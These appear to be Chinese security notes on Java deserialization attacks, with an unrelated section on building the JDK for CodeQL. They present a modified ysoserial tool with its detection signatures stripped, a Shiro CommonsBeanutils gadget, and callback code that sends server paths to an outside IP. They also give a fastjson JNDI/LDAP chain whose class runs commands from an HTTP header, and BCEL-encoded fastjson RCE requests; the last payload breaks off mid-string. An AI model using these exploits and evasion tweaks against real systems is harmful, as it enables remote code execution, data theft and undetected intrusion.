类加载机制

在 Java 中，所有的类默认通过 ClassLoader 加载，而 Java 默认提供了三层的 ClassLoader，并通过双亲委托模型的原则进行加载，其基本模型与加载位置如下（更多ClassLoader相关原理请自行搜索）：


Java 中默认的 ClassLoader 都规定了其指定的加载目录，一般也不会通过 JVM 参数来使其加载自定义的目录，所以我们需要自定义一个 ClassLoader 来加载装有不同版本的 jar 包的扩展目录，同时为了使运行扩展的 jar 包时，与启动项目实现绝对的隔离，我们需要保证他们所加载的类不会有相同的 ClassLoader，根据双亲委托模型的原理可知，我们必须使自定义的 ClassLoader 的 parent 为 null，这样不管是 JRE 自带的 jar 包或一些基础的 Class 都不会委托给 App ClassLoader（当然仅仅是将 Parent 设置为 null 是不够的，后面会说明）。与此同时这些实现了不同版本的 jar 包，是经过二次开发后的可以独立运行的项目。
​

实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

public class StandardExecutorClassLoader extends URLClassLoader {

    private final static String baseDir = System.getProperty("user.dir") + File.separator + "lib" + File.separator;

    public StandardExecutorClassLoader(String version) {
        // 将 Parent 设置为 null
        super(new URL[] {}, null);

        loadResource(version);
    }

    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        // 测试时可打印看一下
       // System.out.println("Class loader: " + name);
        return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        try {
            return super.findClass(name);
        } catch(ClassNotFoundException e) {
            return StandardExecutorClassLoader.class.getClassLoader().loadClass(name);
        }
    }

    private void loadResource(String version) {
        String jarPath = baseDir + version;

        // 加载对应版本目录下的 Jar 包
        tryLoadJarInDir(jarPath);
        // 加载对应版本目录下的 lib 目录下的 Jar 包
        tryLoadJarInDir(jarPath + File.separator + "lib");
    }

    private void tryLoadJarInDir(String dirPath) {
        File dir = new File(dirPath);
        // 自动加载目录下的jar包
        if (dir.exists() && dir.isDirectory()) {
            for (File file : dir.listFiles()) {
                if (file.isFile() && file.getName().endsWith(".jar")) {
                    this.addURL(file);
                    continue;
                }
            }
        }
    }

    private void addURL(File file) {
        try {
            super.addURL(new URL("file", null, file.getCanonicalPath()));
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

​

Shiro反序列化漏洞实现

​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

public class CommonsBeanutils1_192 implements ObjectPayload {
    @Override
    public Object getObject(Object templates) throws Exception {
        StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2");
        Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");

        Object beanComparator = u.getDeclaredConstructor(String.class).newInstance("lowestSetBit");
        PriorityQueue<Object> queue = new PriorityQueue(2, (Comparator<? super Object>)beanComparator);

        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        Reflections.setFieldValue(beanComparator, "property", "outputProperties");

        Object[] queueArray = (Object[])Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;
        return queue;
    }
}

参考

https://blog.csdn.net/t894690230/article/details/73252331

减小payload的体积

根据文章缩小ysoserial payload体积的几个方法最大程度上减小生成payload的体积，对比结果直接减小一半多。

支持自定义方法，类

参考ysoserial 工具改造（一）和使ysoserial支持执行自定义代码方法将生成payload方法进行改造。
我这边添加了五种方式

支持下面这些gadget

codebase64、codefile:、code三种命令介绍

三个命令使用方法参考，codefile:是code比较多的时候。

1

java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 code:calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

String HOST = "http://192.168.149.1:1665";
String WEB_PATH = System.getProperty("user.dir");

String str_url = HOST + "/?info=" + WEB_PATH;
try{
    //若目标能访问我们的服务器，则发送信息到服务器上
    java.net.URL url = new java.net.URL(str_url);
    java.net.URLConnection conn = url.openConnection();
    conn.connect();
    conn.getContent();
}catch(Exception e){
    //若目标不能访问我们的服务器，则将信息写到自己的web目录下info.log文件中
    String webPath = WEB_PATH + "/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/info.log";
    try {
        java.io.FileOutputStream f1 = new java.io.FileOutputStream(webPath);
        f1.write(WEB_PATH.getBytes());
        f1.close();
    } catch (Exception e1) {
        e1.printStackTrace();
    }
}

1

java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 codefile:Calc.java

案例

classfile：

类需要继承AbstractTranslet
需要区分xalan\xalan\2.7.2\xalan-2.7.2.jar!\org\apache\xalan\xsltc\runtime\AbstractTranslet.class
这里需要的是jdk内置的AbstractTranslet
以弹计算器为例

1

java -jar dogeser-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 classfile:G:\Calc.class>2.ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

/**
 * @ClassName: Calc
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/9/10 16:16
 * @Version: v1.0.0
 * @Description:
 **/
public class Calc extends AbstractTranslet {
    public  Calc() {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {

    }

}

去掉原版绝大数特征

原版大量使用ysoserial、Pwer字段，去除后效果。改掉原版package名字换成dogeser，生成的payload的就不会出现ysoserial字段。

​

https://xz.aliyun.com/t/6227
https://www.yuque.com/tianxiadamutou/zcfd4v/ffd33r

–with-target-bits=64: 构建64的JDK

–with-jvm-variants=server :构建server模式的JDK

–with-debug-level=slowdebug: slowdebug带有更多的调试信息

–disable-zip-debug-info：禁止压缩调试信息，可以方便调试

–with-boot-jdk=/export/soft/java-se-7u75-ri/ ：表示boot jdk的路径，就是刚才下载的jdk7的路径
--with-memory-size=1024 表示1GB

sudo apt-get install libx11-dev libxext-dev libxrender-dev libxtst-dev libxt-dev

./get_source.sh

等待几分钟，时间可能需要很久
在运行 ./configure ，运行的过程需要的依赖很多，依次安装就好了。

vi hotspot/make/linux/makefiles/adjust-mflags.sh

gcc的版本过高

安装gcc和g++ 4.9版本

修改apt源：

sudo vi /etc/apt/sources.list

添加以下内容到文件末尾：

#install gcc 4.9

deb http://dk.archive.ubuntu.com/ubuntu/ xenial main

deb http://dk.archive.ubuntu.com/ubuntu/ xenial universe

更新源：

sudo apt-get update

安装4.9版本：

sudo apt install gcc-4.9

sudo apt install g++-4.9

管理多版本gcc：

sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-7 50
sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-7 50
sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-4.9 20
sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-4.9 20

切换到4.9版本：

sudo update-alternatives –config gcc

sudo update-alternatives –config g++

注意：切换完gcc的版本后需要重新运行之前命令

sh ./configure –with-target-bits=64 –with-jvm-variants=server –with-debug-level=slowdebug –disable-zip-debug-info –with-boot-jdk=/export/soft/java-se-7u75-ri/

再执行
vi hotspot/make/linux/makefiles/gcc.make
注释掉如下这行

./configure –with-target-bits=64 –with-jvm-variants=server –with-debug-level=slowdebug –disable-zip-debug-info –with-boot-jdk=/your-pwd/soft/java-se-7u75-ri/
最后 make images

1

codeql database create jdk_src --language=java --command="make images"

如果运行过程中下面错误，就是系统内存不够

1
2
3
4
5
6

CompileJavaClasses.gmk:316: recipe for target '/data/github/jdk-jdk8-b120/build/linux-x86_64-normal-server-release/jdk/classes/_the.BUILD_JDK_batch' failed
make[2]: *** [/data/github/jdk-jdk8-b120/build/linux-x86_64-normal-server-release/jdk/classes/_the.BUILD_JDK_batch] Error 137
BuildJdk.gmk:64: recipe for target 'classes-only' failed
make[1]: *** [classes-only] Error 2
/data/github/jdk-jdk8-b120//make/Main.gmk:115: recipe for target 'jdk-only' failed
make: *** [jdk-only] Error 2

建议加上

1

codeql database create jdk_src --language=java --command="make images" -M 1024

其实就是编译jdk，因为CodeQL需要参与到源码的编译过程中去才能构建数据库。效果成功如下：

参考原文：
https://blog.csdn.net/java_yanglikun/article/details/114460300
https://github.com/github/codeql/issues/4304

LDAP

1. 先启动一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#Cat

2. 再启动http服务

py -3 -m http.server --bind 127.0.0.1 6666

3. 再http服务下的目录创建一个XXX.java文件 然后Javac XXX.java 文件内容如下：

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70

   public class Cat { public Cat()throws Exception{ boolean flag = false; ThreadGroup group = Thread.currentThread().getThreadGroup(); java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; f = t.getClass().getDeclaredField("target"); f.setAccessible(true); Object obj = f.get(t); if (!(obj instanceof Runnable)) continue; f = obj.getClass().getDeclaredField("this$0"); f.setAccessible(true); obj = f.get(obj); try{ f = obj.getClass().getDeclaredField("handler"); }catch (NoSuchFieldException e){ f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } f.setAccessible(true); obj = f.get(obj); try{ f = obj.getClass().getSuperclass().getDeclaredField("global"); }catch(NoSuchFieldException e){ f = obj.getClass().getDeclaredField("global"); } f.setAccessible(true); obj = f.get(obj); f = obj.getClass().getDeclaredField("processors"); f.setAccessible(true); java.util.List processors = (java.util.List)(f.get(obj)); for(int j = 0; j < processors.size(); ++j) { Object processor = processors.get(j); f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); Object req = f.get(processor); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]); str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); if (str != null && !str.isEmpty()) { resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str}; String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName); try { Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); obj = cls.newInstance(); cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } catch (NoSuchMethodException var5) { Class cls = Class.forName("java.nio.ByteBuffer"); obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } flag = true; } if (flag) break; } if (flag) break; }catch(Exception e){ continue; } } } }

4. payload 直接发送

1
2
3
4
5
6
7
8
9
10
11

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/Cat",
        "autoCommit":"true"
    }
}

4. 直接回显

基于dbcp的fastjson rce 回显

• fastjson <= 1.2.24
• 1.2.33 <= fastjson <= 1.2.47
• jdk <= 8u251
• 存在 tomcat-dbcp

首先将AllEcho.java编译生成AllEcho.class文件，然后用BCELEncode 对class 文件进行bcel编码

• fastjson <= 1.2.24 poc
• 解析使用的JSON.parse()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: ver && echo fastjson
Content-Length: 3327

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"
        }
    }: "x"
}

注意修改Content-Type: application/json

• 1.2.33 <= fastjson <= 1.2.47 poc
• JSON.parseObject()
• 还需要调用toJSONString()
• 注意修改Content-Type: application/json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3647

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4